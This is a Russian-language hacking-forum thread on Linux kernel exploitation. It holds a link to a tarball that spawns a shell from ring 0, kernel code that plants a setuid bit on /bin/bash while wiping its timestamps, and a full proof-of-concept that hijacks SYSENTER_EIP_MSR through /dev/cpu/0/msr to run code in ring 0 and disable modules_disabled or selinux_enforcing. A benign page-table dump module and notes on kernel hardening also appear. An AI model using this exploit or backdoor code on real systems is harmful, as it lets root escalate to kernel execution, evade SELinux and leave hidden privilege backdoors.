Старый 10.07.2012, 21:52   #11
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от Specialist Посмотреть сообщение
Нашёл способ запустить бинарник из ring0 в качестве хелпера keventd.
Накодил небольшой пример, запускающий Sh. Просто распакуйте и напишите make.

http://rghost.ru/download/39141720/3...0c8/run.tar.gz

Проверено на ядре 3.2
Будет работать для ядер >=2.6.23. Классно, молодец.
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 15.07.2012, 05:15   #12
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

а для чего нужны все манипуляции с суидником?
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 16.07.2012, 16:39   #13
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию

Оно неинтерактивно, т.е. не получится тупо запустить /bin/bash и радоваться.
Specialist вне форума   Ответить с цитированием
Старый 28.07.2012, 11:35   #14
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

Цитата:
Сообщение от Specialist Посмотреть сообщение
Оно неинтерактивно, т.е. не получится тупо запустить /bin/bash и радоваться.
А как ты себе представляешь интерактивный запуск bash из ядра? Тогда уже можно просто повысить привелегии до рута будучи в bash'e, или запускать из ядра бэк коннект шел на свой сервер.
tom sawyer вне форума   Ответить с цитированием
Старый 28.07.2012, 12:45   #15
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

А все, упустил нить дискуссии
tom sawyer вне форума   Ответить с цитированием
Старый 28.07.2012, 13:26   #16
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

Цитата:
Сообщение от Specialist Посмотреть сообщение
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейсайса
Можно без системного вызова из ядра поменять через апи файловой системы. Пример для изменения времени доступа/изменения/модификации и суид флага:
Код:
struct inode *inode;
	struct file *f;
	struct iattr newattrs;

	f = filp_open("/bin/bash", O_RDWR, 0);

	if(!f)
		return -1;

	inode = f->f_dentry->d_inode;

	newattrs.ia_atime.tv_sec = 0;
	newattrs.ia_mtime.tv_sec = 0;
	newattrs.ia_ctime.tv_sec = 0;

	newattrs.ia_mode = (inode->i_mode | S_ISUID | S_ISGID); /*эквивалент chmod +s*/

	newattrs.ia_valid = ATTR_ATIME | ATTR_CTIME | ATTR_MTIME | ATTR_MODE;

	if(inode->i_op) {
		DPRINT("inode->i_op->setattr: %p\n", inode->i_op->setattr);
	} else {
		DPRINT("inode->i_op: 0\n");
		filp_close(f,0);
		return -1;
	}

	error = security_inode_setattr(f->f_dentry, &newattrs); /*for selinux*/
	error = inode->i_op->setattr(f->f_dentry,  &newattrs);

	if(error) {
		filp_close(f,0);
		return -1;
	}

	fsnotify_change(f->f_dentry, newattrs.ia_valid);

	filp_close(f,0);
tom sawyer вне форума   Ответить с цитированием
Старый 04.02.2013, 11:29   #17
SynQ
 
Регистрация: 11.07.2010
Сообщений: 947
Репутация: 351
По умолчанию

Тут спендер ругался на этот коммит: http://git.kernel.org/?p=linux/kerne...5c6a66ee1aed00
Зайдя с этой стороны (внося свои адреса в регистры MSR через /dev/cpu/$cpu/msr) можно получить выполнение кода в ядре, будучи рутом
Это на случай если например ядро без поддержки модулей или рут после загрузки выполнил:
# echo 1 > /proc/sys/kernel/modules_disabled



Код:
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first 
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)

// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0\n"
	"_ring0:\n"
	".intel_syntax noprefix\n"
	".code64\n"
	// set up stack pointer with 'ourstack'
	"mov esp, ecx\n"
	// save registers, contains the original MSR value
	"push rax\n"
	"push rbx\n"
	"push rcx\n"
	"push rdx\n"
	// play with the kernel here with interrupts disabled!
	"mov rcx, qword ptr [rbx+8]\n"
	"test rcx, rcx\n"
	"jz skip_write\n"
	"mov dword ptr [rcx], 0\n"
	"skip_write:\n"
	// restore MSR value before returning
	"mov ecx, 0x176\n" // SYSENTER_EIP_MSR
	"mov eax, dword ptr [rbx]\n"
	"mov edx, dword ptr [rbx+4]\n"
	"wrmsr\n"
	"pop rdx\n"
	"pop rcx\n"
	"pop rbx\n"
	"pop rax\n"
	"sti\n"
	"sysexit\n"
	".code32\n"
	".att_syntax prefix\n"
        ".global _ring0_end\n"
	"_ring0_end:\n"
	);
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
	cpu_set_t set;
	int msr_fd;
	int ret;
	u_int64_t new_msr;
	struct sched_param sched;
	u_int64_t resolved_addr = 0ULL;

	if (argc == 2)
		resolved_addr = strtoull(argv[1], NULL, 16);

	/* can do this without privilege */
	mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
	mlock(&payload_data, sizeof(payload_data));

	CPU_ZERO(&set);
	CPU_SET(0, &set);

	sched.sched_priority = 99;

	ret = sched_setscheduler(0, SCHED_FIFO, &sched);
	if (ret) {
		fprintf(stderr, "Unable to set priority.\n");
		exit(1);
	}

	ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
	if (ret) {
		fprintf(stderr, "Unable to set affinity.\n");
		exit(1);
	}

	msr_fd = open("/dev/cpu/0/msr", O_RDWR);
	if (msr_fd < 0) {
		msr_fd = open("/dev/msr0", O_RDWR);
		if (msr_fd < 0) {
			fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
			exit(1);
		}
	}
	lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
	ret = read(msr_fd, &msr, sizeof(msr));
	if (ret != sizeof(msr)) {
		fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
		exit(1);
	}

	// stuff some addresses in a buffer whose address we
	// pass to the "kernel" via register
	payload_data[0] = msr;
	payload_data[1] = resolved_addr;

	printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
	fflush(stdout);

	lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
	new_msr = (u_int64_t)(unsigned long)&_ring0;

	printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
	fflush(stdout);

	ret = write(msr_fd, &new_msr, sizeof(new_msr));
	if (ret != sizeof(new_msr)) {
		fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
		exit(1);
	}

	__asm volatile(
		".intel_syntax noprefix\n"
		".code32\n"
		"mov saved_stack, esp\n"
		"lea ecx, ourstack\n"
		"lea edx, label2\n"
		"lea ebx, payload_data\n"
		"sysenter\n"
		"label2:\n"
		"mov esp, saved_stack\n"
		".att_syntax prefix\n"
	);

	printf("Success.\n");
	
	return 0;
}

Последний раз редактировалось SynQ; 07.02.2013 в 09:06.. Причина: добавлен скриншот и исходник
SynQ вне форума   Ответить с цитированием
Старый 03.04.2013, 12:18   #18
SynQ
 
Регистрация: 11.07.2010
Сообщений: 947
Репутация: 351
По умолчанию

В ядре есть опция для просмотра флагов страниц памяти ядра - RO/RW, NX, полезно чтобы знать можно ли модифицировать какой-нибудь регион и будет ли исполняться код в определённой странице.

Реализована она в файле arch/x86/mm/dump_pagetables.c, включается посредством CONFIG_X86_PTDUMP в конфиге ядра.

Чтобы не перекомпилировать ядро, можно использовать патч Kees Cook, который превращает файл исходника в модуль lkm: http://www.outflux.net/blog/archives...mory-progress/

Для примера, в современном ядре всего 2 региона имеют флаги RW и одновременно X:
Код:
$ sudo cat /sys/kernel/debug/kernel_page_tables|grep RW|grep -v NX
0xc0099000-0xc009d000          16K     RW             GLB x  pte
0xc00a0000-0xc0100000         384K     RW             GLB x  pte
Первый для BIOS, второй - I/O hole для DMA.


Готовый пропатченый исходник lkm:
Код:
/*
 * Debug helper to dump the current kernel pagetables of the system
 * so that we can see what the various memory ranges are set to.
 *
 * (C) Copyright 2008 Intel Corporation
 *
 * Author: Arjan van de Ven <arjan@linux.intel.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; version 2
 * of the License.
 */

/* Modularization Hack, 2011 Kees Cook <kees@ubuntu.com>
      insmod ./dump_pagetables.ko start=0x$(egrep \
                ' (swapper_pg_dir|init_level4_pgt)$' \
                /boot/System.map-$(uname -r) | cut -d" " -f1)
 */

#include <linux/debugfs.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/seq_file.h>

#include <asm/pgtable.h>

/*
 * The dumper groups pagetable entries of the same type into one, and for
 * that it needs to keep some state when walking, and flush this state
 * when a "break" in the continuity is found.
 */
struct pg_state {
        int level;
        pgprot_t current_prot;
        unsigned long start_address;
        unsigned long current_address;
        const struct addr_marker *marker;
};

struct addr_marker {
        unsigned long start_address;
        const char *name;
};

/* indices for address_markers; keep sync'd w/ address_markers below */
enum address_markers_idx {
        USER_SPACE_NR = 0,
#ifdef CONFIG_X86_64
        KERNEL_SPACE_NR,
        LOW_KERNEL_NR,
        VMALLOC_START_NR,
        VMEMMAP_START_NR,
        HIGH_KERNEL_NR,
        MODULES_VADDR_NR,
        MODULES_END_NR,
#else
        KERNEL_SPACE_NR,
        VMALLOC_START_NR,
        VMALLOC_END_NR,
# ifdef CONFIG_HIGHMEM
        PKMAP_BASE_NR,
# endif
        FIXADDR_START_NR,
#endif
};

/* Address space markers hints */
static struct addr_marker address_markers[] = {
        { 0, "User Space" },
#ifdef CONFIG_X86_64
        { 0x8000000000000000UL, "Kernel Space" },
        { PAGE_OFFSET,          "Low Kernel Mapping" },
        { VMALLOC_START,        "vmalloc() Area" },
        { VMEMMAP_START,        "Vmemmap" },
        { __START_KERNEL_map,   "High Kernel Mapping" },
        { MODULES_VADDR,        "Modules" },
        { MODULES_END,          "End Modules" },
#else
        { PAGE_OFFSET,          "Kernel Mapping" },
        { 0/* VMALLOC_START */, "vmalloc() Area" },
        { 0/*VMALLOC_END*/,     "vmalloc() End" },
# ifdef CONFIG_HIGHMEM
        { 0/*PKMAP_BASE*/,      "Persisent kmap() Area" },
# endif
        { 0/*FIXADDR_START*/,   "Fixmap Area" },
#endif
        { -1, NULL }            /* End of list */
};

/* Multipliers for offsets within the PTEs */
#define PTE_LEVEL_MULT (PAGE_SIZE)
#define PMD_LEVEL_MULT (PTRS_PER_PTE * PTE_LEVEL_MULT)
#define PUD_LEVEL_MULT (PTRS_PER_PMD * PMD_LEVEL_MULT)
#define PGD_LEVEL_MULT (PTRS_PER_PUD * PUD_LEVEL_MULT)

static unsigned long pg_start = 0;
module_param_named(start, pg_start, ulong, 0644);
MODULE_PARM_DESC(start, "Address of "
#ifdef CONFIG_X86_64
                                "init_level4_pgt"
#else
                                "swapper_pg_dir"
#endif
                        " in the kernel");


/*
 * Print a readable form of a pgprot_t to the seq_file
 */
static void printk_prot(struct seq_file *m, pgprot_t prot, int level)
{
        pgprotval_t pr = pgprot_val(prot);
        static const char * const level_name[] =
                { "cr3", "pgd", "pud", "pmd", "pte" };

        if (!pgprot_val(prot)) {
                /* Not present */
                seq_printf(m, "                          ");
        } else {
                if (pr & _PAGE_USER)
                        seq_printf(m, "USR ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_RW)
                        seq_printf(m, "RW ");
                else
                        seq_printf(m, "ro ");
                if (pr & _PAGE_PWT)
                        seq_printf(m, "PWT ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_PCD)
                        seq_printf(m, "PCD ");
                else
                        seq_printf(m, "    ");

                /* Bit 9 has a different meaning on level 3 vs 4 */
                if (level <= 3) {
                        if (pr & _PAGE_PSE)
                                seq_printf(m, "PSE ");
                        else
                                seq_printf(m, "    ");
                } else {
                        if (pr & _PAGE_PAT)
                                seq_printf(m, "pat ");
                        else
                                seq_printf(m, "    ");
                }
                if (pr & _PAGE_GLOBAL)
                        seq_printf(m, "GLB ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_NX)
                        seq_printf(m, "NX ");
                else
                        seq_printf(m, "x  ");
        }
        seq_printf(m, "%s\n", level_name[level]);
}

/*
 * On 64 bits, sign-extend the 48 bit address to 64 bit
 */
static unsigned long normalize_addr(unsigned long u)
{
#ifdef CONFIG_X86_64
        return (signed long)(u << 16) >> 16;
#else
        return u;
#endif
}

/*
 * This function gets called on a break in a continuous series
 * of PTE entries; the next one is different so we need to
 * print what we collected so far.
 */
static void note_page(struct seq_file *m, struct pg_state *st,
                      pgprot_t new_prot, int level)
{
        pgprotval_t prot, cur;
        static const char units[] = "KMGTPE";

        /*
         * If we have a "break" in the series, we need to flush the state that
         * we have now. "break" is either changing perms, levels or
         * address space marker.
         */
        prot = pgprot_val(new_prot) & PTE_FLAGS_MASK;
        cur = pgprot_val(st->current_prot) & PTE_FLAGS_MASK;

        if (!st->level) {
                /* First entry */
                st->current_prot = new_prot;
                st->level = level;
                st->marker = address_markers;
                seq_printf(m, "---[ %s ]---\n", st->marker->name);
        } else if (prot != cur || level != st->level ||
                   st->current_address >= st->marker[1].start_address) {
                const char *unit = units;
                unsigned long delta;
                int width = sizeof(unsigned long) * 2;

                /*
                 * Now print the actual finished series
                 */
                seq_printf(m, "0x%0*lx-0x%0*lx   ",
                           width, st->start_address,
                           width, st->current_address);

                delta = (st->current_address - st->start_address) >> 10;
                while (!(delta & 1023) && unit[1]) {
                        delta >>= 10;
                        unit++;
                }
                seq_printf(m, "%9lu%c ", delta, *unit);
                printk_prot(m, st->current_prot, st->level);

                /*
                 * We print markers for special areas of address space,
                 * such as the start of vmalloc space etc.
                 * This helps in the interpretation.
                 */
                if (st->current_address >= st->marker[1].start_address) {
                        st->marker++;
                        seq_printf(m, "---[ %s ]---\n", st->marker->name);
                }

                st->start_address = st->current_address;
                st->current_prot = new_prot;
                st->level = level;
        }
}

static void walk_pte_level(struct seq_file *m, struct pg_state *st, pmd_t addr,
                                                        unsigned long P)
{
        int i;
        pte_t *start;

        start = (pte_t *) pmd_page_vaddr(addr);
        for (i = 0; i < PTRS_PER_PTE; i++) {
                pgprot_t prot = pte_pgprot(*start);

                st->current_address = normalize_addr(P + i * PTE_LEVEL_MULT);
                note_page(m, st, prot, 4);
                start++;
        }
}

#if PTRS_PER_PMD > 1

static void walk_pmd_level(struct seq_file *m, struct pg_state *st, pud_t addr,
                                                        unsigned long P)
{
        int i;
        pmd_t *start;

        start = (pmd_t *) pud_page_vaddr(addr);
        for (i = 0; i < PTRS_PER_PMD; i++) {
                st->current_address = normalize_addr(P + i * PMD_LEVEL_MULT);
                if (!pmd_none(*start)) {
                        pgprotval_t prot = pmd_val(*start) & PTE_FLAGS_MASK;

                        if (pmd_large(*start) || !pmd_present(*start))
                                note_page(m, st, __pgprot(prot), 3);
                        else
                                walk_pte_level(m, st, *start,
                                               P + i * PMD_LEVEL_MULT);
                } else
                        note_page(m, st, __pgprot(0), 3);
                start++;
        }
}

#else
#define walk_pmd_level(m,s,a,p) walk_pte_level(m,s,__pmd(pud_val(a)),p)
#define pud_large(a) pmd_large(__pmd(pud_val(a)))
#define pud_none(a)  pmd_none(__pmd(pud_val(a)))
#endif

#if PTRS_PER_PUD > 1

static void walk_pud_level(struct seq_file *m, struct pg_state *st, pgd_t addr,
                                                        unsigned long P)
{
        int i;
        pud_t *start;

        start = (pud_t *) pgd_page_vaddr(addr);

        for (i = 0; i < PTRS_PER_PUD; i++) {
                st->current_address = normalize_addr(P + i * PUD_LEVEL_MULT);
                if (!pud_none(*start)) {
                        pgprotval_t prot = pud_val(*start) & PTE_FLAGS_MASK;

                        if (pud_large(*start) || !pud_present(*start))
                                note_page(m, st, __pgprot(prot), 2);
                        else
                                walk_pmd_level(m, st, *start,
                                               P + i * PUD_LEVEL_MULT);
                } else
                        note_page(m, st, __pgprot(0), 2);

                start++;
        }
}

#else
#define walk_pud_level(m,s,a,p) walk_pmd_level(m,s,__pud(pgd_val(a)),p)
#define pgd_large(a) pud_large(__pud(pgd_val(a)))
#define pgd_none(a)  pud_none(__pud(pgd_val(a)))
#endif

static void walk_pgd_level(struct seq_file *m)
{
/*
#ifdef CONFIG_X86_64
        pgd_t *start = (pgd_t *) &init_level4_pgt;
#else
        pgd_t *start = swapper_pg_dir;
#endif
*/
        pgd_t *start = (pgd_t *) pg_start;
        int i;
        struct pg_state st;

        if (!start)
                return;
        memset(&st, 0, sizeof(st));

        for (i = 0; i < PTRS_PER_PGD; i++) {
                st.current_address = normalize_addr(i * PGD_LEVEL_MULT);
                if (!pgd_none(*start)) {
                        pgprotval_t prot = pgd_val(*start) & PTE_FLAGS_MASK;

                        if (pgd_large(*start) || !pgd_present(*start))
                                note_page(m, &st, __pgprot(prot), 1);
                        else
                                walk_pud_level(m, &st, *start,
                                               i * PGD_LEVEL_MULT);
                } else
                        note_page(m, &st, __pgprot(0), 1);

                start++;
        }

        /* Flush out the last page */
        st.current_address = normalize_addr(PTRS_PER_PGD*PGD_LEVEL_MULT);
        note_page(m, &st, __pgprot(0), 0);
}

static int ptdump_show(struct seq_file *m, void *v)
{
        walk_pgd_level(m);
        return 0;
}

static int ptdump_open(struct inode *inode, struct file *filp)
{
        return single_open(filp, ptdump_show, NULL);
}

static struct dentry *pe = NULL;

static const struct file_operations ptdump_fops = {
        .open           = ptdump_open,
        .read           = seq_read,
        .llseek         = seq_lseek,
        .release        = single_release,
};

static int __init pt_dump_init(void)
{
#ifdef CONFIG_X86_32
        /* Not a compile-time constant on x86-32 */
        address_markers[VMALLOC_START_NR].start_address = VMALLOC_START;
        address_markers[VMALLOC_END_NR].start_address = VMALLOC_END;
# ifdef CONFIG_HIGHMEM
        address_markers[PKMAP_BASE_NR].start_address = PKMAP_BASE;
# endif
        address_markers[FIXADDR_START_NR].start_address = FIXADDR_START;
#endif

        pe = debugfs_create_file("kernel_page_tables", 0600, NULL, NULL,
                                 &ptdump_fops);
        if (!pe)
                return -ENOMEM;

        return 0;
}

static void __exit pt_dump_exit(void)
{
        if (pe) {
                debugfs_remove_recursive(pe);
                pe = NULL;
        }
}

module_init(pt_dump_init);
module_exit(pt_dump_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Arjan van de Ven <arjan@linux.intel.com>");
MODULE_DESCRIPTION("Kernel debugging helper that dumps pagetables");
Makefile для него:
Код:
obj-m = dump_pagetables.o

M=$(shell pwd)

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(M) modules
SynQ вне форума   Ответить с цитированием
Старый 05.04.2013, 11:45   #19
SynQ
 
Регистрация: 11.07.2010
Сообщений: 947
Репутация: 351
По умолчанию

Kees Cook отправил в апстрим патчи для kernel ASLR: http://www.spinics.net/lists/kernel/msg1511828.html
В составе патчей также присутствует реализация read-only IDT

Последний раз редактировалось SynQ; 05.04.2013 в 13:48..
SynQ вне форума   Ответить с цитированием
Старый 16.05.2013, 10:17   #20
SynQ
 
Регистрация: 11.07.2010
Сообщений: 947
Репутация: 351
По умолчанию

Ну вот, начиная с 3.10 эксплуатация через IDT умерла.

x86: Use a read-only IDT alias on all CPUs
https://git.kernel.org/cgit/linux/ke...0849992fcf1c79

Здесь гит Ubuntu: http://kernel.ubuntu.com/git?p=ubunt...l/jump_label.c

Последний раз редактировалось SynQ; 21.05.2013 в 13:39..
SynQ вне форума   Ответить с цитированием
Ответ

Метки
exploit, exploitdev, kernel, linux

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot